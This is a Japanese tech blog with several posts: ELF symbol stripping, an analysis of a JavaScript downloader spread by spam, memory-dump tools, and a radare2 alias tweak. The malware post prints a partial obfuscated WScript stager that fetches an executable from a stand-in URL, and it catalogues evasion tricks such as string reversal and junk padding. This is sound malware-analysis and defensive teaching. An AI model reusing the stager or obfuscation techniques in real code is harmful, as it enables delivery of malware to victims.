読者です 読者をやめる 読者になる 読者になる

拾い物のコンパス

まともに書いたメモ

ELFバイナリのデバッグ時の関数名を読めなくする方法

Defconとかでは問題のELFバイナリをデバッグすると,ユーザ定義関数名だけでなく,ライブラリ関数名も読めなくなっている.どうやるとこんなバイナリを作れるのかを調べてみた.結論から言えば,静的リンクでコンパイルして,stripでデバッグシンボルを消すだけだった.

ライブラリ関数名の読めないプログラム

例えば,/bin/idexecve関数で実行するだけのid.cを考える.

/* id.c */
#include <stdio.h>                                                                                                           
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
    char *env[] = {NULL, NULL};
    char *args[] = {"/bin/id", NULL};
    execve("/bin/id", args, env);
    return 0;
}
/* E.O.F. */

ここで使われているライブラリ関数はexecveだけ.これの関数名消去がうまく行くと,以下のようなアセンブラになる.

$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 本来 "call sym.imp.execve"とでる !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

0x00400966の行を見ると,sym.imp.execveと普通にコンパイルしたら出るはずがfcn.004317b0になっている.
普段こんなバイナリが来ると,引数と演算結果を見てどの関数かを特定しているが(それしか知らない),ライブラリ関数を20種類以上使われていると心にヒビが入ってくる.
こいつの関数名復元方法を知るためにまずは作り方を調べた.

この方法では消えない

関数名の削除はデバッグシンボルの削除でできると考えて,まずは以下のコマンドを試してみた.

$ gcc -o id id.c
$ strip --strip-all ./id  # シンボル情報の全削除
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 13
xref: 22
sect: 434
code: 470
covr: 108 %
            ;-- main:
/ (fcn) sym.main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040040d (sym.main)
|           0x004004e6      55             push rbp
|           0x004004e7      4889e5         mov rbp, rsp
|           0x004004ea      4883ec20       sub rsp, 0x20
|           0x004004ee      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x004004f6      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x004004fe      48c745e0b405.  mov qword [rbp - local_20h], str._bin_id
|           0x00400506      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x0040050e      488d55f0       lea rdx, [rbp - local_10h]
|           0x00400512      488d45e0       lea rax, [rbp - local_20h]
|           0x00400516      4889c6         mov rsi, rax
|           0x00400519      bfb4054000     mov edi, str._bin_id        ; "/bin/id" @ 0x4005b4
|           0x0040051e      e8adfeffff     call sym.imp.execve         ; !!! 消えてない !!!
|           0x00400523      b800000000     mov eax, 0
|           0x00400528      c9             leave
\           0x00400529      c3             ret

0x0040051eを見ると,関数名が消えてない.
そもそもstripで消えているものはあるかを確認すると

$ gcc -o id id.c
$ file ./id
id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, not stripped # stripされてない
$ readelf -a ./id > nonstrip
$ strip --strip-all ./id
$ file ./id
./id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, stripped # stripされた
$ readelf -a ./id > stripall
$ diff nonstrip stripall
13c13
<   Start of section headers:          4784 (bytes into file)
---
>   Start of section headers:          2592 (bytes into file)
19c19
<   Number of section headers:         31
---
>   Number of section headers:         29
81,86c81,82
<   [28] .shstrtab         STRTAB           0000000000000000  000011a4
<        000000000000010c  0000000000000000           0     0     1
<   [29] .symtab           SYMTAB           0000000000000000  00000928
<        0000000000000660  0000000000000018          30    48     8
<   [30] .strtab           STRTAB           0000000000000000  00000f88
<        000000000000021c  0000000000000000           0     0     1
---
>   [28] .shstrtab         STRTAB           0000000000000000  00000921
>        00000000000000fc  0000000000000000           0     0     1
170,240d165
< 
< Symbol table '.symtab' contains 68 entries:
<    Num:    Value          Size Type    Bind   Vis      Ndx Name
<      0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
<      1: 0000000000400200     0 SECTION LOCAL  DEFAULT    1 
<      2: 000000000040021c     0 SECTION LOCAL  DEFAULT    2 
<      3: 000000000040023c     0 SECTION LOCAL  DEFAULT    3 
<      4: 0000000000400260     0 SECTION LOCAL  DEFAULT    4 
<      5: 0000000000400280     0 SECTION LOCAL  DEFAULT    5 
<      6: 00000000004002e0     0 SECTION LOCAL  DEFAULT    6 
<      7: 0000000000400320     0 SECTION LOCAL  DEFAULT    7 
<      8: 0000000000400328     0 SECTION LOCAL  DEFAULT    8 
<      9: 0000000000400348     0 SECTION LOCAL  DEFAULT    9 
<     10: 0000000000400360     0 SECTION LOCAL  DEFAULT   10 
<     11: 0000000000400390     0 SECTION LOCAL  DEFAULT   11 
<     12: 00000000004003b0     0 SECTION LOCAL  DEFAULT   12 
<     13: 00000000004003e0     0 SECTION LOCAL  DEFAULT   13 
<     14: 00000000004003f0     0 SECTION LOCAL  DEFAULT   14 
<     15: 00000000004005a4     0 SECTION LOCAL  DEFAULT   15 
<     16: 00000000004005b0     0 SECTION LOCAL  DEFAULT   16 
<     17: 00000000004005bc     0 SECTION LOCAL  DEFAULT   17 
<     18: 00000000004005f0     0 SECTION LOCAL  DEFAULT   18 
<     19: 00000000006006e8     0 SECTION LOCAL  DEFAULT   19 
<     20: 00000000006006f0     0 SECTION LOCAL  DEFAULT   20 
<     21: 00000000006006f8     0 SECTION LOCAL  DEFAULT   21 
<     22: 0000000000600700     0 SECTION LOCAL  DEFAULT   22 
<     23: 00000000006008d0     0 SECTION LOCAL  DEFAULT   23 
<     24: 00000000006008d8     0 SECTION LOCAL  DEFAULT   24 
<     25: 0000000000600900     0 SECTION LOCAL  DEFAULT   25 
<     26: 0000000000600910     0 SECTION LOCAL  DEFAULT   26 
<     27: 0000000000000000     0 SECTION LOCAL  DEFAULT   27 
<     28: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS init.c
<     29: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     30: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_LIST__
<     31: 0000000000400420     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
<     32: 0000000000400460     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
<     33: 00000000004004a0     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
<     34: 0000000000600910     1 OBJECT  LOCAL  DEFAULT   26 completed.6945
<     35: 00000000006006f0     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtors_aux_fin
<     36: 00000000004004c0     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
<     37: 00000000006006e8     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_init_array_
<     38: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS test.c
<     39: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     40: 00000000004006e0     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
<     41: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_END__
<     42: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS 
<     43: 00000000006006f0     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_end
<     44: 0000000000600700     0 OBJECT  LOCAL  DEFAULT   22 _DYNAMIC
<     45: 00000000006006e8     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_start
<     46: 00000000004005bc     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
<     47: 00000000006008d8     0 OBJECT  LOCAL  DEFAULT   24 _GLOBAL_OFFSET_TABLE_
<     48: 00000000004005a0     2 FUNC    GLOBAL DEFAULT   14 __libc_csu_fini
<     49: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
<     50: 0000000000600900     0 NOTYPE  WEAK   DEFAULT   25 data_start
<     51: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   25 _edata
<     52: 00000000004005a4     0 FUNC    GLOBAL DEFAULT   15 _fini
<     53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
<     54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@@GLIBC_2.2.5
<     55: 0000000000600900     0 NOTYPE  GLOBAL DEFAULT   25 __data_start
<     56: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
<     57: 0000000000600908     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
<     58: 00000000004005b0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
<     59: 0000000000400530   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
<     60: 0000000000600918     0 NOTYPE  GLOBAL DEFAULT   26 _end
<     61: 00000000004003f0    42 FUNC    GLOBAL DEFAULT   14 _start
<     62: 0000000000600910     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
<     63: 00000000004004e6    68 FUNC    GLOBAL DEFAULT   14 main
<     64: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
<     65: 0000000000600910     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
<     66: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
<     67: 0000000000400390     0 FUNC    GLOBAL DEFAULT   11 _init

サイズは明らかに減っているし,.symtabシンボル情報が消されているようだ.しかし,関数名は消えない.
なんでだろうと思って,知り合いに聞いてみたらあっさり答えが返ってきた.
それによると,execveなどのライブラリ関数は./id外の共有ライブラリに実体がある../idが共有ライブラリの関数を使う場合,プログラム起動時に関数名などのシンボル名を使ってアドレス解決をする.だから,共有ライブラリを使う限りシンボル名が残ってしまう.つまり,静的リンクでコンパイルすればシンボル名を消してもアドレス解決できるようになるということだった.
これがわかれば話は早い.

消し方

$ gcc -static -o id id.c
$ strip -strip-all ./id
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 消えた !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

というわけで読めなくなった.
読めないバイナリはこうやって作られるのだろう.

最後に

作成したバイナリは静的リンク時に共有ライブラリに含まれていたのであろう文字列が色々含まれて,本来のユーザ定義文字列が探しにくくなる.これはどうにかできないのだろうか.共有ライブラリを片っ端から--strip-allすればいいのだろうか.
次は消した情報を復元する方法を調べたい.情報提供募集中.

参考

ありがとう: 知人

ダウンローダ型のマルウェアを眺めてみた

この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.

はじまり

最近ZIPRARが添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ. メール本文例は以下の通り.

hi ???(改変してある)

I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct
 

Regards,
Michael Ballard

employees_B3CF49.zipというZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).

$ unzip -l employees_B3CF49.zip
Archive:  employees_B3CF49.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  1051941  2016-05-16 14:49   history 648819 - cpy (2).js
  1051941  2016-05-16 14:49   history 648819 - cpy.js
  1051941  2016-05-16 14:49   history 648819.js
---------                     -------
  3155823                     3 files

VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klwはわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近. 届く添付ファイルはどれもこのように最近登録されたものばかり.

環境

Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン

$ uname -a
Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux

解析手順

最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIPだから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js.wsfのみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.

内容

当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.   上で挙げたhistory 648819.jsの最初から数行は以下のような感じ.

var place0 = false;
var DENMARK0 = "";
'/' * 1048574byte
var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* Zg  */
  @if (@_win32 || @_win64)/* Zg  */
    //
CONNECTION /* Zg  */ = "W"+"S"+"c"+"ript";
place0 /* Zg  */= true;/* Zg  */
DENMARK0/* Zg  */ = /* Zg  */"MLH";/* Zg  */
fromPath =/* Zg  */ "R" + "esponseB"/* Zg  */ + "ydo".split('').reverse().join('');
Turkey = /* Zg  */(/* Zg  */"noitisop").split(''/* Zg  */).reverse(/* Zg  */).join('');
devel0 /* Zg  *//* Zg  */ =/* Zg  */ "eliFoTevaS".split(''/* Zg  */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe";
Backspace0 = "G\x45"+"T";
/* Zg  */ @end/* Zg  */
@*//* Zg  */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}
...(snip)...

URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる. 解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppDataはデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.

難読化テクニック

コメント

とりあえずどこにでも/* Zg */や/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.

関係のない命名規則

プログラムの内容と全く関係のない関数・変数名にする.命名規則DENMARKなどの地名やchristopherの人名,bbbbbbbbbbbbbbbbbの意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.

バイトの挿入

文字列GETを"G\x45T"と16進を挟む. 他のやつから想像するか,console.logすると良い.

分割

バイトの挿入と組み合わせて使われることが多い.send"s"+"en"+"d"とする.素直に書いて欲しい.

逆順

"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')と読み手には逆に見えるように書く.

大量の無意味な文字

上の例であげたコードでは/が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+Fとかで飛ばせる.

配列によるカムフラージュ

("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"になる.割と悪質.

素直じゃない計算

aaa=2と書けば済むところをaaa=(4714-4712) * 1とする.これをif (aaa==2)と利用する.

wsfファイル

Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>とJS版と変わらない.

コード全体の難読化

上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);する. 解析にひと手間必要になる.

マルウェアの難読化

ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.

結論と対処法

怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は

1. コントロールパネルを開く
2. アプリケーションの追加と削除
3. 「Windowsファイル」タブ
4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.

もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXEを削除する.

終わりに

現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった. 読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -lの段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.jsって書いてあるのにわざわざ開くやついるのか・・・?

参考

Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法

スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ

メモリダンプについてのまとめ

このエントリで紹介したコマンドの一部は高確率でOSがクラッシュします.行う際は自己責任でお願いします.
マルウェア解析に使われるメモリダンプはどのように作成されるのかを調べたメモを書き残す.
結論として,Windowsはやり方が多い(設定をいじってからOSをクラッシュさせる,キーボードやスイッチから割り込みをかける,ツールを使う).Linuxgrub(RHELのみ)の設定をいじる,ツールを使うことで取得できる.macについてはほとんど調べていないが,一部ツールは対応していた.いずれの方法でもOSがクラッシュした時と同等の影響がある.
注意点としてはメモリダンプツールとして公開されているプログラムの一部に現在は使えなさそうなものもあった.調べるだけでやる気が尽きたので,具体的な使い方までは網羅できていない.

疑問

 近年のマルウェアは物理メモリにのみ存在し,電源が切れると一緒に本体も消えてしまうタイプがいる.高度なものになると,これに加えて自身をunlinkし,プロセス一覧から隠れる場合もあると聞いたことがある(専門ではないから,詳しくはわからない).
この場合,解析には感染したPCをネットワークから隔離した後すぐに電源を切らずに物理メモリの全内容をダンプする必要がある. これについて,以下の点を疑問に思い,調べてみることにした.

  • 一体どうやってダンプを取得するのか.
  • OSがクラッシュした時にダンプ(Linuxではコアファイル)が作成されるが,普段仕事しているOSが動かないのに,誰がダンプを作成しているのか.

メモリダンプについて

種類

  • 最小メモリダンプ
     最重要な情報のみ保存(Stopメッセージ・パラメータ,停止したスレッドのカーネルモード呼び出しの履歴など).障害発生時に実行されていたスレッドが直接の原因でないエラーは発見できないことがある.
  • カーネルメモリダンプ
     カーネルメモリのみの記録.ユーザプロセスの情報は記録しないため,カーネルで障害が起こっていない時は原因を究明できない.
  • 完全メモリダンプ
     システムメモリの全内容を記録.メモリダンプを取るなら,これが推奨されている.当然ながら,メモリサイズ以上の大きさ(メモリサイズ+各種情報)になるため,ストレージの空きに注意.
    今回は完全メモリダンプの取得に着目する.

フォーマット

メモリダンプのフォーマットは以下の通り.恐らく他にもあるが,ここでは解析ツールvolatilityでサポートしているものを挙げる.
- Raw linear sample (dd)
- Hibernation file (from Windows 7 and earlier)
- Crash dump file
- VirtualBox ELF64 core dump
- VMware saved state and snapshot files
- EWF format (E01)
- LiME (Linux Memory Extractor) format
- Mach-O file format
- QEMU virtual machine dumps
- Firewire
- HPAK (FDPro)

Windows

詳しいサイトが多数あるため,ここでは簡単に書く.詳しいことは参考サイトを確認すること.
どの方法でもブルースクリーンが発生するため,実験するときは重要なデータのセーブは必要.

Windows(7を想定)

  • 基本的な方法
    ・OSクラッシュ時に作成されるようにする
    ・手動による作成
     > NMIによる作成(キーボードなどが全く使えない時の最終手段)
     > キーボードによる作成
    詳しくは参考サイトを読むといいが,基本的な方法を簡単に書き残しておく.

1. スタートをクリック
2. 「コンピュータ」で右クリックし, 「プロパティ」を選択
3. 「システムのプロパティ」ウィンドウの詳細設定タブの一番下の「起動と回復」項目の「設定」をクリック
4. 「起動と回復」ウィンドウの「デバッグ情報の書き込み」でドロップダウンメニューから「完全メモリダンプ」を選択し,OKをクリック
5. 再起動

保存先は「デバッグ情報の書き込み」にある「ダンプファイル」で指定することができる.デフォルトは%SystemRoot%MEMORY.DMPに保存される. 詳しくは
技術/Windows/メモリダンプ取得方法メモ - Glamenv-Septzen.net
https://blogs.technet.microsoft.com/askcorejp/2014/08/10/339/
を参照.
前者はXPなどにも使える方法が書いてあり,後者のMicrosoftサポートは2014年の記事であるから,Windows8.1(2013)まで有効だと思う.どちらも多くのやり方が書いてある. 最初にも述べたが,どちらにせよブルースクリーンになることは確定なので,データの保存は重要.

Linux

実装で/dev/mem, /dev/kmemから読みだしているプログラムはカーネルの2.6系まででしか動作が保証されていない.これ以降は/dev/(k)memでアクセスできるアドレスが制限されている.
2.6系という区切りで動作が保証されているのは,2003年に2.6から3.0へカーネルのメジャーバージョンアップがあったからのようだ.
Security/Features - Ubuntu Wiki」には,Ubuntuの特色が書いてある.ここに/dev/mem protectionという項目がある.
現在のUbuntuでは/dev/(k)memからの完全メモリダンプ取得は望め無さそうだ.
この機構が適用されたのはBlackhat2009の発表(https://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf)にあるように,物理メモリにアクセスできるなら書き換えもできるよなってことのようだ.

/dev/(k)memを使っているツール群(ご利用は計画的に・・・)

実験した環境は4.5系だが,使うたびにOSがクラッシュした.こいつらの名前をきっと忘れない.

$ uname -r
4.5.0-1-ARCH

memdump

source: memdump 1.01-6, memdump_8c-source.html
$ sudo pacman -S memdump
でインストールできるやつ.
$ sudo memdump-kernel > test.dmp
でメモリダンプを作成できる.
ある程度ダンプできたところでクラッシュする.OSの実行しているコード部のコピーで競合かなんかが起きているのかな・・・

draugr

Google Code Archive - Long-term storage for Google Code Project Hosting.
pythonで実装されている.以上.

使えそうなやつ

/proc/kcoreから情報を取得するか,カーネルの機能を使うタイプが主流になっているようだ./proc/kcoreにはメモリ情報がELF形式で保存されている.64bitOSの場合,これのサイズが

$ ls -hl /proc/kcore
-r-------- 1 root root 128T Apr 22 23:11 /proc/kcore

と非常に大きい.これは64bitで取り扱える最大サイズを指しているらしい.ここからどうやって取得するのかがまだもやっとしている.情報募集中.
以下のツール群は調べるだけでやる気が尽きて,実際に試していないから,各ドキュメントをよく読んで欲しい.

LiME(Linux Memory Extractor)

https://github.com/504ensicsLabs/LiME
volatilityで推奨されているメモリダンプ作成ツールLinuxカーネルモジュールとして実装されている.
ネットワーク越しにダンプを作成することも可能なようだ.同じホスト上でダンプを作成するときはlocalhostとするだけ.

Pmem

Rekall Memory Forensic Framework
ダンプ解析ツールrekallが提供するメモリダンプツールLinux, Windows, Macすべてで使えるできる凄腕.
モジュールとしてロードすることで使えるようだ.

Grub(RedHat系のみ)

grub.confcrashkernel=auto を書くと良いらしい.
kcore, crach, yum install kexec-toolsで検索.

その他

memfetch

[lcamtuf.coredump.cx]
/proc/<pid>/mapsから情報を取得している.メモリ全体というよりはプロセスごとのメモリを取得できる.
GDBなら,

$ gdb
(gdb) attach <pid>
(gdb) gcore <output>.dmp
(gdb) detach
(gdb) quit

で同じようなことができそう.gdbコマンドで得られるのはコアファイルでELF形式.

仮想マシン

Qemu, XenVMwareVirtualboxなど,仮想マシン上なら完全なメモリダンプを取得することができるから楽ってどっかに書いてあった.

メモリダンプ解析ツール

現在簡単に使えそうなツールは以下の通り.

volatility

The Volatility Foundation - Open Source Memory Forensics
Blackhat2007で発表されたツール.ダンプ解析で万能そう.
公式サイトには最もよく使われているツールと書いてある.本当かどうかは知らない.これを入れておけば困ることはなさそうだ.
メモリダンプ取得機能提供していないから,LiMEを使ってくれと公式のドキュメントに書いてある.しかし,ソースの中にgetkcore.cとかいうプログラムがあったりする.これは/dev/kcoreから読み出す単純なプログラムなので,動きそう.提供しているじゃないかというツッコミは置いておく.

rakall

Rekall Memory Forensic Framework
前述のvolatilityから独立したプロジェクト. これはメモリダンプ取得機能を提供している.Pmemはこいつが提供する機能の一つ.
特徴はメモリダンプに関することを全て行えること.
プラグインで機能拡張が容易に行える柔軟仕様だが,それ故プラグインが多すぎるのが悩みらしい.
当然ながら,ソースコードvolatilityとかぶっている箇所が多い.

終わりに

様々なプログラムが乱立していて,混沌としていることがわかった.
ダンプを作成しているのは,カーネルっぽい.
メモリダンプ関係のプログラムを組むときにはカーネルについて調査すればもうちょい何か出てきそう.やる気が出たら実際にダンプを作成して,解析までやってみたい.Pmemでダンプ取得して,volatilityで解析なんてひねくれるのも一興か.
/proc/kcoreの使い方や,実装のもっと深いところでの取得方法についてはまだ調べ尽くせていない.この疑問を解消する日が来るようやる気が出るまで忘れないようにしたい.
rekalltools/linux/lmap/logtools/osx/MacPmem/Common/logging.cppにはエラーレベルによるログの出力が実装されている.聞いたことはあったが,実際に見たのは初めてで感動した.今後の実装で使ってみたい.

参考サイト

/dev/kcoreが大きすぎる理由: /proc/kcore is 131072.0 GB / Newbie Corner / Arch Linux Forums

Linuxメモリダンプ作成: Linuxでのメモリダンプの取得 - higefoxの公開メモ

メモリダンプの種類,取得・圧縮: 完全メモリダンプを設定する方法

MSによるメモリダンプの作成手引:メモリ ダンプ ファイルを生成する方法について | Ask CORE

ダンプ取得ツール一覧: Top 8 Tools For Linux / Unix Memory Forensics Analysis

radare2のエイリアス機能をソースコードレベルでいじって使いやすくしてみる

 この記事はプログラムのソースコードを書き換えるものです.行う際は自己責任でお願いします.

 radare2エイリアスやマクロを使っていたが,どうにもコマンドを打ちにくいのでソースコードをいじって試行錯誤してみた.マクロ機能をいじるのは大規模な改変になりそうだったため,今回はエイリアスのみをいじることにした.結果エイリアスの識別文字を$からnにすると,比較的使いやすくなったのでそのやり方をまとめておく.
ついでに,改変後のエイリアス機能を利用した動的解析用エイリアスも紹介する.作成したエイリアスPedaを使ったGDBを意識した.

エイリアス機能

radare2エイリアス機能は以下のように定義・使用することができる.

* 定義
  $dis=`af;pdf`
* 使用
  $dis

詳しくは$?で見ることができる.

問題点

 まず基礎知識として,radare2は最初に機能を大別する文字(今回ならば$)の後に個別のコマンドが続くようになっている.
エイリアス機能は多用するのにタイプしにくい.これは識別文字に$を使っていることが原因であると考えた.
$を入力するShift+4って何回も打つのは苦痛だ,できればアルファベットのどれか,かつShiftを押さないで済ましたい.
ソースコードを読んでみると,$を定義している部分のコメントにはprefix aliases with a dashとあった.英語は苦手だが,とりあえず「dashを参考にしてエイリアスのプレフィックスを$にしました」と理解した(間違っていたらぜひ指摘してください).
恐らく,dashを起動した時に左に出てくる$のことだと思う.dashに固執する特別な意味は感じなかったので変えても問題はないだろうと判断した.
